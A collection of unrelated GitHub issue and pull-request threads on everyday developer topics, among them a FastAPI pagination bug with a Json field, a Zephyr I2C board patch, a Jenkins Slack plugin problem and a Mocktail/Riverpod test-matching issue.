class JobTable(Base):
    __tablename__ = "job"

    id = Column(Integer, primary_key=True, index=True)
    name = Column(String, nullable=True, index=True)
    input = Column(VARCHAR, nullable=False)

Base.metadata.create_all(bind=engine)

# schemas
class Input(BaseModel):
    type: str
    val: int

class Job(BaseModel):
    name: str
    input: Input

class JobResponse(BaseModel):
    name: str
    input: Json

    class Config:
        orm_mode = True

# main routes
@app.get("/jobs", response_model=List[JobResponse])
async def get_jobs(db: Session = Depends(get_db)):
    return db_get_jobs(db=db)

@app.get("/jobs_pg", response_model=Page[JobResponse])
async def get_jobs_pg(db: Session = Depends(get_db)):
    return paginate(db_get_jobs(db=db))

@app.post("/jobs/", response_model=JobResponse)
def create_job(job: Job, db: Session = Depends(get_db)):
    return db_create_job(db=db, job=job)

# db crud
def db_create_job(db: Session, job: Job):
    new_job = JobTable(name=job.name, input=job.input.json())
    db.add(new_job)
    db.commit()
    db.refresh(new_job)
    return new_job

def db_get_jobs(db: Session):
    return db.query(JobTable).all()

def db_get_jobs_pg(db: Session):
    return db.query(JobTable)

add_pagination(app)

Create a couple jobs, then GET "/jobs" will work, but the paginated one, "/job_pg" will fail with the error:
/python3.8/site-packages/fastapi/routing.py", line 138, in serialize_response
    raise ValidationError(errors, field.type_)
pydantic.error_wrappers.ValidationError: 2 validation errors for Page[JobResponse]
response -> items -> 0 -> input
  JSON object must be str, bytes or bytearray (type=type_error.json)

@ljbuza Looks like it's pydantic issue. If you change get_jobs endpoint to return pydantic model instead of orm model you will receive the same error:
from pydantic import parse_obj_as

@app.get("/jobs", response_model=List[JobResponse])
async def get_jobs(db: Session = Depends(get_db)):
    return parse_obj_as(List[JobResponse], db_get_jobs(db=db))

Looks like pydantic doesn't allow to use valid JSON object as a value for a Json field, it should be always a sting-like object.
As a workaround you can define temp model and use it:
from fastapi_pagination.api import set_page

class TempJsonResponse(JobResponse):
    input: str

@app.get("/jobs_pg", response_model=Page[JobResponse])
async def get_jobs_pg(db: Session = Depends(get_db)):
    with set_page(Page[TempJsonResponse]):
        return paginate(db_get_jobs(db=db))

Thank you very much for the workaround, it'll help me to keep going with my work.
However, strangely, this works:
JobResponse(name="foo", input='{"foo": "bar"}')
> JobResponse(name='foo', input={'foo': 'bar'})

but run it via fastapi  and it doesn't:
@app.get("/jobs", response_model=List[JobResponse])
def get_jobs(db: Session = Depends(get_db)):
    return [JobResponse(name="foo", input='{"foo": "bar"}')]

I will close this issue. Please, reopen it in case of any problems.


Javascript refresh: fix double loading

Adding data-position to the div in order to make them depend on
which page it was loaded on
Fixing #99

Works great!
+1


Update display NFTs, pages UI and prettier applied

Home

Inventory

Only the UI was affected in this pull request

Files changed:

All atoms
All pages
All styles files

approve!


Epic: add Land component support

[x] #133, #134 / #230
[x] #229 / #247, #253
[x] #263 / #272
[x] #288 / #294
[x] #389 (supports #365)

Priority order (TBD):

[ ] #518
[ ] Global average for land component
[ ] #365 (supports #151)
[ ] #151
[ ] #467 / #496
[ ] #489
[ ] #507
[ ] #399 (supports #365)

Also see https://acme-climate.atlassian.net/wiki/spaces/EIDMG/pages/3476979729/zppy+New+Feature+Requests

@forsyth2 I will follow up with the land group about priorities. But at this stage, what we should do is to understand what capabilities we can already support, or can implement relatively straightforwardly. And come up with an example configuration and provide to land group as an prototype. The initial list as follows:
Initial list:

Time-series and climatology for land variables
e3sm_diags model vs model task for lat_lon_land [need to add additional variables]
global averaged time series for land variables
overview time-series plot for land variables
ilamb [only a default setting is supported right now, with limited variables enabled]
I think above capabilities are built, but there was not a configuration file that including these tasks with a land forcus. A campaign configuration file for land group will be ideal.
E3sm_to_cmip (as a prerequisite for running ilamb), only support land variables that we publish to CMIP, we need to add additional variable converters for supporting ilamb.

@chengzhuzhang I'm trying to determine what is left to do on this "epic". Merging #400 closed out #399. From what I can tell, I think implementing #151 (adding a land template cfg) would essentially close out this epic. The only other thing that might need doing is #507 (adding more sets for the [ilamb] task or maybe adding variable converters in the e3sm_to_cmip package).
Details, for reference
I'm looking at the overview slides from https://acme-climate.atlassian.net/wiki/spaces/IPD/pages/4083056669/2024-01-19+zppy-Land+integration+meeting, checking for unresolved issues.

#507:

Should the [ilamb] section of the zppy cfg have a sets parameter like E3SM Diags does? It looks like ILAMB is just picking up everything from the land_ts and atm_ts.
So, is the solution just to include more sets for ILAMB in the Land campaign cfg (#151)?
Or do variable converters need to be added in e3sm_to_cmip?

#532 (expansion of #365)

Once #399 (PR #400) is finished, this would, in theory, simply require adding all the
variables that we want plotted to the new Land Campaign configuration file (#151)
So, this can probably be done as part of #151.

#489 (user question -- solution is to create a land configuration -- i.e., #151)


https://dash-gallery.plotly.host/ is down

I am getting an ERR_CONNECTION_TIMED_OUT error when trying to access https://dash-gallery.plotly.host/

After asking a friend to try out access the page. The error seems on my side.

After asking a friend to try out access the page. The error seems on my side.


soc: nxp_imx: mimxrt1064_evk: Add I2C support

I2C1 is routed to J24 Arduino interface (D14/I2C_SDA, D15/I2C_SCL).
Signed-off-by: Loic Poulain<EMAIL_ADDRESS>

Codecov Report

Merging #13797 into master will decrease coverage by 0.03%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #13797      +/-   ##
==========================================
- Coverage    52.3%   52.26%   -0.04%
==========================================
  Files         307      307
  Lines       45410    45410
  Branches    10504    10504
==========================================
- Hits        23750    23734      -16
- Misses      16875    16887      +12
- Partials     4785     4789       +4

Impacted Files
Coverage Δ

subsys/testsuite/ztest/include/ztest_assert.h
38.88% <0%> (-38.89%)
:arrow_down:

subsys/testsuite/ztest/src/ztest.c
65.28% <0%> (-7.44%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cf85618...d60f4c6. Read the comment docs.

Not sure shippable error is related to this patch, can we retrigger it?

Not sure shippable error is related to this patch, can we retrigger it?

I did, but it still failed. The shippable error is because the i2c dependency of these two samples is now satisfied on the rt1064 board, but we don't yet enable the elcdif display peripheral in dts. We could add a filter to these two samples to exclude this board, but I'd rather we just go ahead and add proper support for the elcdif on rt1064. It should be very close to what we already did on rt1060.

Not sure shippable error is related to this patch, can we retrigger it?

I did, but it still failed. The shippable error is because the i2c dependency of these two samples is now satisfied on the rt1064 board, but we don't yet enable the elcdif display peripheral in dts. We could add a filter to these two samples to exclude this board, but I'd rather we just go ahead and add proper support for the elcdif on rt1064. It should be very close to what we already did on rt1060.

Unfortunately, for now, I have no lcd display for testing, I added 'display' dependency to the samples.

Please rebase and fix the merge conflicts. After that, shippable should pass now that #14268 has been merged.

Please rebase once more

Looks like a missing '}' in the .dts

@loicpoulain ping


Update README files to reflect new documentation

There are unneeded README files and they are should be removed or changed.

Done.


Slack Notification not sending out

Your checklist for this issue

[x] Jenkins version

[x] Plugin version

[x] OS

Description

[2.189] Jenkins version

[2.29] Plugin version

[OSX] OS

From build log, it doesn't give any hint on why no message is sent
16:46:07 [Slack Notifications] found #2284 as previous completed, non-aborted build
16:46:07 [Slack Notifications] will send OnUnstableNotification because build matches and user preferences allow it

Try test connection at global config, return fail
Tried Bot token, and User token, both not working

Could you try with this version and check your configuration is correct?
https://ci.jenkins.io/job/Plugins/job/slack-plugin/job/master/194/artifact/target/slack.hpi
The UI has been improved to clarify what you should be setting

Could you try with this version and check your configuration is correct?
https://ci.jenkins.io/job/Plugins/job/slack-plugin/job/master/194/artifact/target/slack.hpi
The UI has been improved to clarify what you should be setting

2.30-SNAPSHOT (private-bfa37f50-jenkins) works fine
Minor issue is the Jenkins Configure System (/configure) > Slack > Test Connection will print out a lot of HTML formatted error message
the Test Connection function normally under Project (/job/PROJECT_NAME/configure)

I've just tested the test connection and it works fine for me in the global configuration.

cannot reproduce the issue today, thanks for the update


Update param

Remove NamedString class since param now supports of mapping of names and objects for its selector classes.

Pull Request Test Coverage Report for Build 587

0 of 0   changed or added relevant lines in 0 files are covered.
36 unchanged lines in 2 files lost coverage.
Overall coverage decreased (-0.02%) to 68.819%

Files with Coverage Reduction
New Missed Lines
%

/Users/travis/miniconda/envs/test-environment/lib/python3.6/site-packages/quest/util/param_util.py
18
68.49%

/home/travis/miniconda/envs/test-environment/lib/python3.6/site-packages/quest/util/param_util.py
18
68.49%

Totals

Change from base Build 566:
-0.02%

Covered Lines:
2984

Relevant Lines:
4336

💛  - Coveralls


Close Resources Properly

[x] I have searched the issues of this repository and believe that this is not a duplicate.
[x] I have checked the FAQ of this repository and believe that this is not a duplicate.

Environment

Dubbo version: xxx
Operating System version: xxx
Java version: xxx

Steps to reproduce this issue

xxx
xxx
xxx

Pls. provide [GitHub address] to reproduce this issue.
Expected Result
What do you expected from the above steps？
Actual Result
What actually happens?
If there is an exception, please attach the exception trace:
Just put your stack trace here!

Thanks. Please provide valid information about your problem so we can help.

Thanks. Please provide valid information about your problem so we can help.

It is not easy to produce this bug, so I couldn't give more information.
I've created a PR for this: https://github.com/apache/incubator-dubbo/pull/3474


Mocktail does not match function calls correctly when used with Riverpod and AsyncValue

I have encountered an issue when using Mocktail with Riverpod and AsyncValue for testing. The problem occurs when I'm attempting to verify that a listener was called with specific arguments.
I have two identical tests. One uses Mockito and passes successfully, but the other uses Mocktail and fails with the error "No matching calls. All calls: Listener<AsyncValue<Counter>>.call(null, AsyncError<Counter>(error: Exception: test,...)".
Here are the two tests for comparison:
Test with Mocktail (fails):

class MockFetchCounter extends Mock implements FetchCounter {}

class Listener<T> extends Mock {
  void call(T? previous, T value);
}

void main() {
setUpAll(() {
  registerFallbackValue(const AsyncData(Counter(id: 1, value: 0)));
});

test('counterQueryProvider notifies listeners with AsyncError when fetchCounterProvider throws an Exception', () async {
  final container = ProviderContainer(overrides: [
    fetchCounterProvider.overrideWithValue(MockFetchCounter()),
  ]);
  final fetchCounter = container.read(fetchCounterProvider);

  // Mock fetchCounter to throw exception when called
  when(fetchCounter.call).thenThrow(Exception('test'));

  final listener = Listener<AsyncValue<Counter>>();

  // Observe a provider and listen the changes.
  container.listen(
    counterQueryProvider,
    listener.call,
    fireImmediately: true,
  );

  await expectLater(
    () => container.read(counterQueryProvider.future),
    throwsException,
  );

  verify(() => listener(null, any(that: isA<AsyncError>()))).called(1);
});
}

Test with Mockito (passes):

abstract class Listener<T> {
  void call(T? previous, T value);
}

@GenerateMocks([FetchCounter, Listener])
void main() {
test('counterQueryProvider notifies listeners with AsyncError when fetchCounterProvider throws an Exception', () async {
  final container = ProviderContainer(overrides: [
    fetchCounterProvider.overrideWithValue(MockFetchCounter()),
  ]);
  final fetchCounter = container.read(fetchCounterProvider);

  // Mock fetchCounter to throw exception when called
  when(fetchCounter.call()).thenThrow(Exception('test'));
  final listener = MockListener<AsyncValue<Counter>>();

  // Observe a provider and listen the changes.
  container.listen(
    counterQueryProvider,
    listener.call,
    fireImmediately: true,
  );

  await expectLater(
    () => container.read(counterQueryProvider.future),
    throwsException,
  );

  verify(listener(argThat(isNull), argThat(isA<AsyncError>()))).called(1);
});

}

CounterQuery and FetchCounter:
class CounterQuery extends _$CounterQuery {
  @override
  Future<Counter> build() {
    return ref.watch(fetchCounterProvider).call();
  }
}

class FetchCounter {
  final CounterApi _api;

  const FetchCounter(this._api);

  Future<Counter> call() async {
      final response = await _api.getCounter(id: 1);
      return response;
  }
}

This issue seems to be specific to Mocktail, as the test passes with Mockito. I'm not sure if this is an issue with Mocktail itself or some interaction between Mocktail and Riverpod/AsyncValue.
Any help on this issue would be greatly appreciated!

I have encountered an issue when using Mocktail with Riverpod and AsyncValue for testing. The problem occurs when I'm attempting to verify that a listener was called with specific arguments.
I have two identical tests. One uses Mockito and passes successfully, but the other uses Mocktail and fails with the error "No matching calls. All calls: Listener<AsyncValue<Counter>>.call(null, AsyncError<Counter>(error: Exception: test,...)".
Here are the two tests for comparison:
Test with Mocktail (fails):
class MockFetchCounter extends Mock implements FetchCounter {}

class Listener<T> extends Mock {
  void call(T? previous, T value);
}

void main() {
setUpAll(() {
  registerFallbackValue(const AsyncData(Counter(id: 1, value: 0)));
});

test('counterQueryProvider notifies listeners with AsyncError when fetchCounterProvider throws an Exception', () async {
  final container = ProviderContainer(overrides: [
    fetchCounterProvider.overrideWithValue(MockFetchCounter()),
  ]);
  final fetchCounter = container.read(fetchCounterProvider);

  // Mock fetchCounter to throw exception when called
  when(fetchCounter.call).thenThrow(Exception('test'));

  final listener = Listener<AsyncValue<Counter>>();

  // Observe a provider and listen the changes.
  container.listen(
    counterQueryProvider,
    listener.call,
    fireImmediately: true,
  );

  await expectLater(
    () => container.read(counterQueryProvider.future),
    throwsException,
  );

  verify(() => listener(null, any(that: isA<AsyncError>()))).called(1);
});
}

Test with Mockito (passes):
abstract class Listener<T> {
  void call(T? previous, T value);
}

@GenerateMocks([FetchCounter, Listener])
void main() {
test('counterQueryProvider notifies listeners with AsyncError when fetchCounterProvider throws an Exception', () async {
  final container = ProviderContainer(overrides: [
    fetchCounterProvider.overrideWithValue(MockFetchCounter()),
  ]);
  final fetchCounter = container.read(fetchCounterProvider);

  // Mock fetchCounter to throw exception when called
  when(fetchCounter.call()).thenThrow(Exception('test'));
  final listener = MockListener<AsyncValue<Counter>>();

  // Observe a provider and listen the changes.
  container.listen(
    counterQueryProvider,
    listener.call,
    fireImmediately: true,
  );

  await expectLater(
    () => container.read(counterQueryProvider.future),
    throwsException,
  );

  verify(listener(argThat(isNull), argThat(isA<AsyncError>()))).called(1);
});

}

CounterQuery and FetchCounter:
class CounterQuery extends _$CounterQuery {
  @override
  Future<Counter> build() {
    return ref.watch(fetchCounterProvider).call();
  }
}

class FetchCounter {
  final CounterApi _api;

  const FetchCounter(this._api);

  Future<Counter> call() async {
      final response = await _api.getCounter(id: 1);
      return response;
  }
}

This issue seems to be specific to Mocktail, as the test passes with Mockito. I'm not sure if this is an issue with Mocktail itself or some interaction between Mocktail and Riverpod/AsyncValue.
Any help on this issue would be greatly appreciated!

Today I'm having exactly the same trouble as you did. I was in doubt if the problem was by calling the ref.watch inside the build, but more due to the ProviderContainer .... because the code worked normally on production.
I've also thought that I wasn't stubbing correctly the call of the provider, but I actually was doing exactly as you did in your code.
I hope that a solution comes fastly for this issue.

@ykaito21 By the way, I just saw that you have used @GenerateMocks, while I have used @GenerateNiceMocks which ended up with the same results.

@ykaito21 One funny thing : You are using mocktail and ended up with this situation.
I have used mockito in basically the same way you did with mocktail, but with the same problem as you did have now.
I'm starting to think that this is a Riverpod issue.

Hi @ykaito21 👋
Thanks for opening an issue!
Would it be possible to provide a link to a GitHub repository containing a minimal reproduction sample (preferably without riverpod)? It would be much easier to help/pinpoint the issue if I can easily reproduce the issue locally, thanks!

@felangel, Thanks for your comment!
verify(() => listener(null, any(that: isA<AsyncError<Counter>>()))).called(1); doesn't change the result.
https://github.com/rrousselGit/riverpod/issues/2742#issue-1806700851 might help you understand this issue.
I'm not sure this is Riverpod's related issue or not.

They don't support fn(null, argThat(...)). It behaves as fn(argThat(...), null) instead
Try: listener(any(that: null), any(that: isA<loading>()))

Remi helped me solve the issue https://github.com/rrousselGit/riverpod/issues/2742#issuecomment-1645551241.


Folder images didn't found by load_image_sequence

I have a folder with image inside that I put into my input folder.
There is no doc on where to put the input images but I found on the code this line.
https://github.com/sylym/comfy_vid2vid/blob/main/__init__.py#L124
Sad il have no folder found by the node

What should I do? how can I debug this ... I have very few python/comfy knowledge but i want to give a try to this plug in...

I got the same problem now, did you find a way ?

Where these folder must be located, why there is no tutorial ?


Add a best of two mode

So far there is a best of 1, 3 or 5 mode for the league prod toolkit.
But there might be leagues where you only play 2 games and can achieve a draw.
So a best of two mode would be nice, or maybe even a generic selection.

I might be overlooking something, but setting the match to bo3 should cover everything:

Shows scores for 0-0 and 1-0
Highlights winner on 2-0
Doesn't highlight winner on 1-1
I'll have to check, but the matchup history should be fine with leaving a bo3 at a 1-1 scoreline. The only situation this might be tricky in is the tournament tree, but I don't think bo2 format works for knockout brackets :)

As mentioned in issue #43 there will be a possibility to just set the number of games instead of the drop-down menu